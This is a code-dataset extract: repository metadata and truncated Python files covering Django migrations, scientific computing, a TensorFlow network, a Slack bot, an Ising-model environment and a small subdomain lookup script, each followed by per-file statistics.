2018-05-04T15:33:46.000Z
2022-03-08T21:09:21.000Z
projects/migrations/0017_project_status_isvalidated.py
joatuapp/joatu-django
5626d03ba89c55650ff5bff2e706ca0883ae3b9c
[ "MIT" ]
7
2018-05-08T16:05:06.000Z
2018-09-13T05:49:05.000Z
# Generated by Django 2.0.3 on 2018-03-26 01:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('projects', '0016_auto_20180325_2116'), ] operations = [ migrations.AddField( model_name='project_status', name='isVa...
21.105263
53
0.613466
42
401
5.738095
0.857143
0
0
0
0
0
0
0
0
0
0
0.106897
0.276808
401
18
54
22.277778
0.724138
0.112219
0
0
1
0
0.158192
0.064972
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6218792313b28bf05b712a8e421f24aaaa0f9100
8,110
py
Python
Parallel_POD/online_svd_parallel.py
Romit-Maulik/Tutorials-Demos-Practice
a58ddc819f24a16f7059e63d7f201fc2cd23e03a
[ "MIT" ]
8
2020-09-02T14:46:07.000Z
2021-11-29T15:27:05.000Z
Parallel_POD/online_svd_parallel.py
omersan/Practice
77eecdc2a202e6b333123cfd92e7db6dc0eea021
[ "MIT" ]
18
2020-11-13T18:49:33.000Z
2022-03-12T00:54:43.000Z
Parallel_POD/online_svd_parallel.py
omersan/Practice
77eecdc2a202e6b333123cfd92e7db6dc0eea021
[ "MIT" ]
5
2019-09-25T23:57:00.000Z
2021-04-18T08:15:34.000Z
import numpy as np np.random.seed(10) import matplotlib.pyplot as plt from mpi4py import MPI # For shared memory deployment: `export OPENBLAS_NUM_THREADS=1` # Method of snapshots def generate_right_vectors(A): ''' A - Snapshot matrix - shape: NxS returns V - truncated right singular vectors ''' ne...
30.954198
108
0.569667
1,086
8,110
4.11326
0.208103
0.014551
0.017461
0.006268
0.29259
0.231028
0.193418
0.167898
0.108126
0.081039
0
0.017638
0.307891
8,110
262
109
30.954198
0.778193
0.117386
0
0.189024
1
0
0.091487
0.027107
0
0
0
0
0
1
0.054878
false
0.006098
0.02439
0
0.109756
0.02439
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
621946fa869b479764d5f279c948e790f062b5f0
32,670
py
Python
lib/networks/ResNet101_HICO.py
zhihou7/VCL
1bc21ec64d3bae15b8bac524cfa4beeaf08f2c48
[ "MIT" ]
29
2020-07-28T03:11:21.000Z
2022-03-09T04:37:47.000Z
lib/networks/ResNet101_HICO.py
zhihou7/VCL
1bc21ec64d3bae15b8bac524cfa4beeaf08f2c48
[ "MIT" ]
8
2020-08-19T06:40:42.000Z
2022-03-07T03:48:57.000Z
lib/networks/ResNet101_HICO.py
zhihou7/VCL
1bc21ec64d3bae15b8bac524cfa4beeaf08f2c48
[ "MIT" ]
7
2020-07-20T09:05:17.000Z
2021-11-26T13:04:25.000Z
# -------------------------------------------------------- # Tensorflow VCL # Licensed under The MIT License [see LICENSE for details] # Written by Zhi Hou, based on code from Transferable-Interactiveness-Network, Chen Gao, Zheqi he and Xinlei Chen # -------------------------------------------------------- from __futu...
52.949757
158
0.589654
4,596
32,670
3.959312
0.147955
0.026928
0.018794
0.015717
0.432269
0.356158
0.320218
0.292081
0.262131
0.238116
0
0.215662
0.283532
32,670
617
159
52.949757
0.561755
0.031742
0
0.219462
0
0
0.037002
0
0
0
0
0
0
1
0.068323
false
0.00207
0.031056
0
0.15735
0.006211
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
621e26224a5b7df57e76176ccf102f633408ef39
290
py
Python
models/catch_event.py
THM-MA/XSDATA-waypoint
dd94442f9d6677c525bf3ebb03c15fec52fa1079
[ "MIT" ]
null
null
null
models/catch_event.py
THM-MA/XSDATA-waypoint
dd94442f9d6677c525bf3ebb03c15fec52fa1079
[ "MIT" ]
null
null
null
models/catch_event.py
THM-MA/XSDATA-waypoint
dd94442f9d6677c525bf3ebb03c15fec52fa1079
[ "MIT" ]
null
null
null
from dataclasses import dataclass from .t_catch_event import TCatchEvent __NAMESPACE__ = "http://www.omg.org/spec/BPMN/20100524/MODEL" @dataclass class CatchEvent(TCatchEvent): class Meta: name = "catchEvent" namespace = "http://www.omg.org/spec/BPMN/20100524/MODEL"
24.166667
65
0.731034
36
290
5.722222
0.583333
0.126214
0.15534
0.184466
0.417476
0.417476
0.417476
0.417476
0.417476
0
0
0.065306
0.155172
290
11
66
26.363636
0.77551
0
0
0
0
0
0.331034
0
0
0
0
0
0
1
0
false
0
0.25
0
0.5
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
622719ea6c5735ec54aa9dbdf7b5a6d8d0c52ce7
1,115
py
Python
hard-gists/1191457/snippet.py
jjhenkel/dockerizeme
eaa4fe5366f6b9adf74399eab01c712cacaeb279
[ "Apache-2.0" ]
21
2019-07-08T08:26:45.000Z
2022-01-24T23:53:25.000Z
hard-gists/1191457/snippet.py
jjhenkel/dockerizeme
eaa4fe5366f6b9adf74399eab01c712cacaeb279
[ "Apache-2.0" ]
5
2019-06-15T14:47:47.000Z
2022-02-26T05:02:56.000Z
hard-gists/1191457/snippet.py
jjhenkel/dockerizeme
eaa4fe5366f6b9adf74399eab01c712cacaeb279
[ "Apache-2.0" ]
17
2019-05-16T03:50:34.000Z
2021-01-14T14:35:12.000Z
#!/usr/bin/env python import urllib import sys import json from mwlib import parser from mwlib.refine import compat if __name__ == "__main__": params = urllib.urlencode({ "format": "json", "action": "query", "prop": "revisions", "rvprop": "content", "titles": "ISO_3166-1", "rvsection": "4", }) wc = urll...
22.755102
75
0.625112
155
1,115
4.432258
0.509677
0.040757
0.052402
0
0
0
0
0
0
0
0
0.021482
0.165022
1,115
48
76
23.229167
0.716434
0.017937
0
0
0
0
0.184644
0
0
0
0
0
0
0
null
null
0
0.125
null
null
0.125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6228f1664df5b9ec6866831755970b61d71b6d58
3,058
py
Python
ECC_main/platform/slack.py
dongh9508/ECC-main
904110b70ba3e459d92c6d21a5ad1693b4ee726a
[ "MIT" ]
2
2019-01-23T00:04:18.000Z
2019-02-01T10:09:15.000Z
ECC_main/platform/slack.py
dongh9508/ECC-main
904110b70ba3e459d92c6d21a5ad1693b4ee726a
[ "MIT" ]
26
2018-07-11T07:59:46.000Z
2021-02-08T20:21:46.000Z
ECC_main/platform/slack.py
dongh9508/ECC-main
904110b70ba3e459d92c6d21a5ad1693b4ee726a
[ "MIT" ]
2
2018-08-31T14:08:19.000Z
2018-08-31T15:14:29.000Z
from .platformBase import PlatformBase from django.http import HttpResponse, JsonResponse from ECC_main.baseRequest import BaseRequest import ECC_main.settings import threading import requests class Slack(PlatformBase): def slash_command(request, func): token = request.POST['token'] if ECC_m...
35.149425
95
0.624591
345
3,058
5.156522
0.17971
0.089938
0.070826
0.056211
0.392917
0.175379
0.106802
0.065205
0.065205
0.065205
0
0.002808
0.301177
3,058
87
96
35.149425
0.829668
0.005559
0
0.065574
0
0
0.048026
0
0
0
0
0
0
1
0.196721
false
0
0.098361
0.131148
0.491803
0.04918
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
1
6232c87d0d4107ba98750270bdd408dd5d0b9dfa
1,389
py
Python
src/python/pants/backend/terraform/target_types.py
danxmoran/pants
7fafd7d789747c9e6a266847a0ccce92c3fa0754
[ "Apache-2.0" ]
null
null
null
src/python/pants/backend/terraform/target_types.py
danxmoran/pants
7fafd7d789747c9e6a266847a0ccce92c3fa0754
[ "Apache-2.0" ]
22
2022-01-27T09:59:50.000Z
2022-03-30T07:06:49.000Z
src/python/pants/backend/terraform/target_types.py
danxmoran/pants
7fafd7d789747c9e6a266847a0ccce92c3fa0754
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import annotations from dataclasses import dataclass from pants.engine.rules import collect_rules from pants.engine.target import ( COMMON_TARGET_FIELDS, Dependen...
26.711538
92
0.735781
145
1,389
6.834483
0.551724
0.060545
0.030272
0.060545
0.078708
0.078708
0
0
0
0
0
0.005277
0.181425
1,389
51
93
27.235294
0.866315
0.090713
0
0
0
0
0.084314
0.022549
0
0
0
0
0
1
0.033333
false
0
0.166667
0.033333
0.633333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6236a853e217ec41f065c4c8899eb05e1e528ac1
21,375
py
Python
ToricLearning/ising.py
danielfreeman11/thermal-toric-code
3718f1b16737dfae09443466f6cfb65036faaa89
[ "MIT" ]
6
2017-11-15T00:54:13.000Z
2021-11-21T02:08:21.000Z
ToricLearning/ising.py
danielfreeman11/thermal-toric-code
3718f1b16737dfae09443466f6cfb65036faaa89
[ "MIT" ]
null
null
null
ToricLearning/ising.py
danielfreeman11/thermal-toric-code
3718f1b16737dfae09443466f6cfb65036faaa89
[ "MIT" ]
null
null
null
""" Ising model one-shot dynamics simulation. From C. Daniel Freeman (2016 http://arxiv.org/abs/1603.05005) """ import logging import math import gym from gym import spaces from gym.utils import seeding import numpy as np #import isingutils.py import random from random import choice import copy import sys from compil...
34.364952
215
0.705076
2,612
21,375
5.730475
0.158882
0.018038
0.036478
0.063135
0.467731
0.433391
0.39678
0.368052
0.344335
0.325227
0
0.016463
0.167392
21,375
621
216
34.42029
0.824577
0.181988
0
0.361878
0
0.002762
0.021143
0.001397
0
0
0
0
0.002762
0
null
null
0
0.035912
null
null
0.033149
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
62383bc8933f1f4eaa948064e8b702400552ae83
428
py
Python
resqs/core/urls.py
UMass-Rescue/moto
3aa52aca28c622be9708da5fd31a8c8b92801634
[ "Apache-2.0" ]
null
null
null
resqs/core/urls.py
UMass-Rescue/moto
3aa52aca28c622be9708da5fd31a8c8b92801634
[ "Apache-2.0" ]
null
null
null
resqs/core/urls.py
UMass-Rescue/moto
3aa52aca28c622be9708da5fd31a8c8b92801634
[ "Apache-2.0" ]
null
null
null
from __future__ import unicode_literals from .responses import MotoAPIResponse url_bases = ["https?://motoapi.amazonaws.com"] response_instance = MotoAPIResponse() url_paths = { "{0}/resqs-api/$": response_instance.dashboard, "{0}/resqs-api/data.json": response_instance.model_data, "{0}/resqs-api/reset":...
30.571429
70
0.752336
53
428
5.773585
0.471698
0.261438
0.117647
0.091503
0
0
0
0
0
0
0
0.010444
0.10514
428
13
71
32.923077
0.788512
0
0
0
0
0
0.259346
0.179907
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6238442b97ca6a6ef8a0ad9749bdaae56317f29d
1,305
py
Python
hammer/tracker.py
mizerlou/hammer
353f176bffff4a6b7726361cdafb986fe2302f19
[ "Apache-2.0" ]
1
2016-06-06T20:22:13.000Z
2016-06-06T20:22:13.000Z
hammer/tracker.py
mizerlou/hammer
353f176bffff4a6b7726361cdafb986fe2302f19
[ "Apache-2.0" ]
null
null
null
hammer/tracker.py
mizerlou/hammer
353f176bffff4a6b7726361cdafb986fe2302f19
[ "Apache-2.0" ]
null
null
null
import anydbm, os.path, time, bsddb, sys class MessageTracker: def __init__(self, tracker_file): flag = (os.path.exists(tracker_file) and "w") or "c" #self.tracker = anydbm.open(tracker_file, flag) self.tracker = bsddb.hashopen(tracker_file, flag) def close(self): self....
27.1875
68
0.514943
166
1,305
3.945783
0.349398
0.151145
0.054962
0.073282
0.148092
0
0
0
0
0
0
0
0.330268
1,305
47
69
27.765957
0.749428
0.144061
0
0.121212
0
0
0.032345
0
0
0
0
0
0
0
null
null
0
0.030303
null
null
0.060606
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
62416172cffe17c94f2ee1ae5b11d654511779a9
279
py
Python
Task1/chapter14.py
shkhaider2015/AI_Lab_Task
642a0d5e30515dac6972da194741b829cdc63f30
[ "Unlicense" ]
null
null
null
Task1/chapter14.py
shkhaider2015/AI_Lab_Task
642a0d5e30515dac6972da194741b829cdc63f30
[ "Unlicense" ]
null
null
null
Task1/chapter14.py
shkhaider2015/AI_Lab_Task
642a0d5e30515dac6972da194741b829cdc63f30
[ "Unlicense" ]
null
null
null
# addition will takes place after multiplication and addition num1 = 1 + 4 * 3 / 2; # same as 5 * 3 /2 num2 = (1 + 4) * 3 / 2; # same as 1+12/2 num3 = 1 + (4 * 3) / 2; print("python follow precedence rules"); # this should produce 7.5 print(num1); print(num2); print(num3);
18.6
61
0.620072
49
279
3.530612
0.55102
0.046243
0.052023
0.069364
0.115607
0.115607
0
0
0
0
0
0.125581
0.229391
279
15
62
18.6
0.67907
0.419355
0
0
0
0
0.189873
0
0
0
0
0
0
1
0
false
0
0
0
0
0.571429
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
1
624ded040b53f88852fd60dd292b8fb6fb23b421
1,164
py
Python
django_watermark_images/items/migrations/0001_initial.py
abarto/django-watermark-images
5f01c8f0da7359c4d96650029d5beb70938fbe47
[ "MIT" ]
11
2016-12-05T01:12:46.000Z
2021-05-05T21:41:14.000Z
django_watermark_images/items/migrations/0001_initial.py
abarto/django-watermark-images
5f01c8f0da7359c4d96650029d5beb70938fbe47
[ "MIT" ]
1
2020-11-30T13:26:06.000Z
2020-12-05T11:44:59.000Z
django_watermark_images/items/migrations/0001_initial.py
abarto/django-watermark-images
5f01c8f0da7359c4d96650029d5beb70938fbe47
[ "MIT" ]
3
2017-02-07T03:36:42.000Z
2020-08-10T00:16:04.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.10 on 2016-09-10 16:15 from __future__ import unicode_literals from django.db import migrations, models import django_extensions.db.fields import items.models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ ...
35.272727
124
0.630584
121
1,164
5.876033
0.520661
0.092827
0.075949
0.101266
0
0
0
0
0
0
0
0.021591
0.243986
1,164
32
125
36.375
0.786364
0.056701
0
0
1
0
0.088584
0
0
0
0
0
0
1
0
false
0
0.166667
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
62588608a3f5e4881c91b92770889c28b45edea4
587
py
Python
subdomain.py
ouldevloper/subDomainFinder
3b888e8267d8b89401a468d2622edd6716a88293
[ "MIT" ]
null
null
null
subdomain.py
ouldevloper/subDomainFinder
3b888e8267d8b89401a468d2622edd6716a88293
[ "MIT" ]
null
null
null
subdomain.py
ouldevloper/subDomainFinder
3b888e8267d8b89401a468d2622edd6716a88293
[ "MIT" ]
null
null
null
import requests import re url=input("Enter Url [ex: example.com]: ") def getSubDomain(url): url=url.replace("www.","").replace("https://","").replace("http://","") pattern = "[\w]{1,256}\.[a-zA-Z0-9()]{1,6}" _l = re.compile(pattern) if _l.match(url): response = requests.get(f"https://sonar.omn...
34.529412
95
0.524702
75
587
4.08
0.64
0.137255
0.137255
0
0
0
0
0
0
0
0
0.019438
0.211244
587
17
96
34.529412
0.641469
0
0
0
0
0
0.27551
0.052721
0
0
0
0
0
1
0.066667
false
0.066667
0.133333
0
0.2
0.066667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1